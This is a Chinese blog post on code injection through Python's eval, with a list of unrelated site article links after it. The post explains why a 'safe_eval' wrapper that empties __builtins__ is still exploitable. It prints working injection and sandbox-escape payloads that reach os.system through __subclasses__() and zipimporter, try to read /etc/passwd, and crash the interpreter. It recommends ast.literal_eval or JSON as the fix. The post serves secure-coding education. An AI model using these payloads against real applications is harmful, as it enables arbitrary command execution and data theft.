Python eval的常见错误封装及利用原理详解


Posted in Python onMarch 26, 2019

最近在代码评审的过程,发现挺多错误使用eval导致代码注入的问题,比较典型的就是把eval当解析dict使用,有的就是简单的使用eval,有的就是错误的封装了eval,供全产品使用,这引出的问题更严重,这些都是血淋淋的教训,大家使用的时候多加注意。

下面列举一个实际产品中的例子,详情见[bug83055][1]:

def remove(request, obj):
  query = query2dict(request.POST)
  eval(query['oper_type'])(query, customer_obj)

而query就是POST直接转换而来,是用户可直接控制的,假如用户在url参数中输入oper_type=__import__('os').system('sleep 5') 则可以执行命令sleep,当然也可以执行任意系统命令或者任意可执行代码,危害是显而易见的,那我们来看看eval到底是做什么的,以及如何做才安全?

1,做什么

简单来说就是执行一段表达式

>>> eval('2+2')
4

>>> eval("""{'name':'xiaoming','ip':'10.10.10.10'}""")
{'ip': '10.10.10.10', 'name': 'xiaoming'}

>>> eval("__import__('os').system('uname')", {})
Linux
0

从这三段代码来看,第一个很明显做计算用,第二个把string类型数据转换成python的数据类型,这里是dict,这也是咱们产品中常犯的错误。第三个就是坏小子会这么干,执行系统命令。

eval 可接受三个参数,eval(source[, globals[, locals]]) -> value

globals必须是路径,locals则必须是键值对,默认取系统globals和locals

2,不正确的封装

(1)下面我们来看一段咱们某个产品代码中的封装函数,见[bug][2],或者网络上搜索排名比较高的代码,eg:

def safe_eval(eval_str):
 try:
  #加入命名空间
  safe_dict = {}
  safe_dict['True'] = True
  safe_dict['False'] = False
  return eval(eval_str,{'__builtins__':None},safe_dict)
 except Exception,e:
  traceback.print_exc()
  return ''

在这里__builtins__置为空了,所以像__import__这是内置变量就没有了,这个封装函数就安全了吗?下面我一步步道来:

>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError',

列表项

‘UnicodeEncodeError', ‘UnicodeError', ‘UnicodeTranslateError', ‘UnicodeWarning', ‘UserWarning', ‘ValueError', ‘Warning', ‘ZeroDivisionError', ‘_', ‘debug‘, ‘doc‘, ‘import‘, ‘name‘, ‘package‘, ‘abs', ‘all', ‘any', ‘apply', ‘basestring', ‘bin', ‘bool', ‘buffer', ‘bytearray', ‘bytes', ‘callable', ‘chr', ‘classmethod', ‘cmp', ‘coerce', ‘compile', ‘complex', ‘copyright', ‘credits', ‘delattr', ‘dict', ‘dir', ‘divmod', ‘enumerate', ‘eval', ‘execfile', ‘exit', ‘file', ‘filter', ‘float', ‘format', ‘frozenset', ‘getattr', ‘globals', ‘hasattr', ‘hash', ‘help', ‘hex', ‘id', ‘input', ‘int', ‘intern', ‘isinstance', ‘issubclass', ‘iter', ‘len', ‘license', ‘list', ‘locals', ‘long', ‘map', ‘max', ‘memoryview', ‘min', ‘next', ‘object', ‘oct', ‘open', ‘ord', ‘pow', ‘print', ‘property', ‘quit', ‘range', ‘raw_input', ‘reduce', ‘reload', ‘repr', ‘reversed', ‘round', ‘set', ‘setattr', ‘slice', ‘sorted', ‘staticmethod', ‘str', ‘sum', ‘super', ‘tuple', ‘type', ‘unichr', ‘unicode', ‘vars', ‘xrange', ‘zip']

从__builtins__可以看到其模块中有__import__,可以借助用来执行os的一些操作。如果置为空,再去执行eval函数呢,结果如下:

>>> eval("__import__('os').system('uname')", {'__builtins__':{}})
Traceback (most recent call last):
 File "<stdin>", line 1, in <module>
 File "<string>", line 1, in <module>
NameError: name '__import__' is not defined

现在就是提示__import__未定义,不能成功执行了,看情况是安全了吧?答案当然是错的。
比如执行如下:

>>> s = """
... (lambda fc=(
...  lambda n: [
...   c for c in
...    ().__class__.__bases__[0].__subclasses__()
...    if c.__name__ == n
...   ][0]
...  ):
...  fc("function")(
...   fc("code")(
...    0,0,0,0,"test",(),(),(),"","",0,""
...   ),{}
...  )()
... )()
... """
>>> eval(s, {'__builtins__':{}})
Segmentation fault (core dumped)

在这里用户定义了一段函数,这个函数调用,直接导致段错误

下面这段代码则是退出解释器:

>>>
>>> s = """
... [
...  c for c in
...  ().__class__.__bases__[0].__subclasses__()
...  if c.__name__ == "Quitter"
... ][0](0)()
... """
>>> eval(s,{'__builtins__':{}})
liaoxinxi@RCM-RSAS-V6-Dev ~/tools/auto_judge $

初步理解一下整个过程:

>>> ().__class__.__bases__[0].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'Struct'>, <type 'cStringIO.StringO'>, <type 'cStringIO.StringI'>, <class 'configobj.InterpolationEngine'>, <class 'configobj.SimpleVal'>, <class 'configobj.InterpolationEngine'>, <class 'configobj.SimpleVal'>]

这句python代码的意思就是找tuple的class,再找它的基类,也就是object,再通过object找他的子类,具体的子类也如代码中的输出一样。从中可以看到了有file模块,zipimporter模块,是不是可以利用下呢?首先从file入手
假如用户如果构造:

>>> s1 = """
... [
...  c for c in
...  ().__class__.__bases__[0].__subclasses__()
...  if c.__name__ == "file"
... ][0]("/etc/passwd").read()()
... """
>>> eval(s1,{'__builtins__':{}})
Traceback (most recent call last):
 File "<stdin>", line 1, in <module>
 File "<string>", line 6, in <module>
IOError: file() constructor not accessible in restricted mode

这个restrictected mode简单理解就是python解释器的沙盒,一些功能被限制了,比如说不能修改系统,不能使用一些系统函数,如file,详情见Restricted Execution Mode,那怎么去绕过呢?这时我们就想到了zipimporter了,假如引入的模块中引用了os模块,我们就可以像如下代码来利用。

>>> s2="""
... [x for x in ().__class__.__bases__[0].__subclasses__()
... if x.__name__ == "zipimporter"][0](
...  "/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module(
...  "configobj").os.system("uname")
... """
>>> eval(s2,{'__builtins__':{}})
Linux
0

这就验证了刚才的safe_eval其实是不安全的。

3,如何正确使用

(1)使用ast.literal_eval
(2)如果仅仅是将字符转为dict,可以使用json格式

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
python实现读取命令行参数的方法
May 22 Python
python获取局域网占带宽最大3个ip的方法
Jul 09 Python
python基础知识小结之集合
Nov 25 Python
Python工程师面试题 与Python Web相关
Jan 14 Python
Python中的迭代器与生成器高级用法解析
Jun 28 Python
Django基于ORM操作数据库的方法详解
Mar 27 Python
python中不能连接超时的问题及解决方法
Jun 10 Python
Python实现在某个数组中查找一个值的算法示例
Jun 27 Python
在python中bool函数的取值方法
Nov 01 Python
Python爬虫文件下载图文教程
Dec 23 Python
python字典setdefault方法和get方法使用实例
Dec 25 Python
django inspectdb 操作已有数据库数据的使用步骤
Feb 07 Python
Python骚操作之动态定义函数
Mar 26 #Python
python 将有序数组转换为二叉树的方法
Mar 26 #Python
浅谈Python爬虫基本套路
Mar 25 #Python
我用Python抓取了7000 多本电子书案例详解
Mar 25 #Python
详解python:time模块用法
Mar 25 #Python
Python minidom模块用法示例【DOM写入和解析XML】
Mar 25 #Python
Python实例方法、类方法、静态方法的区别与作用详解
Mar 25 #Python
You might like
几个php应用技巧
2008/03/27 PHP
深入理解ob_flush和flush的区别(ob_flush()与flush()使用方法)
2013/02/06 PHP
详解WordPress中过滤链接与过滤SQL语句的方法
2015/12/18 PHP
javascript/jquery获取地址栏url参数的方法
2014/03/05 Javascript
jQuery实现table隔行换色和鼠标经过变色的两种方法
2014/06/15 Javascript
IE中JS跳转丢失referrer问题的2个解决方法
2014/07/18 Javascript
浅谈Javascript Base64 加密解密
2014/12/28 Javascript
javascript编写贪吃蛇游戏
2015/07/07 Javascript
Jquery 全选反选实例代码
2015/11/19 Javascript
AngularJS中实现动画效果的方法
2016/07/28 Javascript
jQuery插件artDialog.js使用与关闭方法示例
2017/10/09 jQuery
JS实现可视化文件上传
2018/09/08 Javascript
微信小程序搜索框样式并实现跳转到搜索页面(小程序搜索功能)
2020/03/10 Javascript
vue cli3适配所有端方案的实现
2020/04/13 Javascript
深入解读VUE中的异步渲染的实现
2020/06/19 Javascript
[01:48]2018DOTA2亚洲邀请赛主赛事第二日五佳镜头 VG完美团战逆转TNC
2018/04/05 DOTA
跟老齐学Python之从if开始语句的征程
2014/09/14 Python
Python文件及目录操作实例详解
2015/06/04 Python
Python设计模式之抽象工厂模式
2016/08/25 Python
简单的python后台管理程序
2017/04/13 Python
Python中模块pymysql查询结果后如何获取字段列表
2017/06/05 Python
Python通过matplotlib绘制动画简单实例
2017/12/13 Python
python版DDOS攻击脚本
2019/06/12 Python
python实现自动化上线脚本的示例
2019/07/01 Python
django实现web接口 python3模拟Post请求方式
2019/11/19 Python
千禧酒店及度假村官方网站:Millennium Hotels and Resorts
2019/05/10 全球购物
父母寄语大全
2014/04/12 职场文书
办公室领导干部作风整顿个人整改措施
2014/09/17 职场文书
幼儿园见习报告范文
2014/10/30 职场文书
英文感谢信范文
2015/01/21 职场文书
租车协议书
2015/01/27 职场文书
刑事附带民事诉讼答辩状
2015/05/22 职场文书
Mysql Show Profile
2021/04/05 MySQL
Nginx如何配置Http、Https、WS、WSS的方法步骤
2021/05/11 Servers
nginx访问报403错误的几种情况详解
2022/07/23 Servers
Debian11 Xfce终端光标的颜色怎么设置?
2022/08/14 数码科技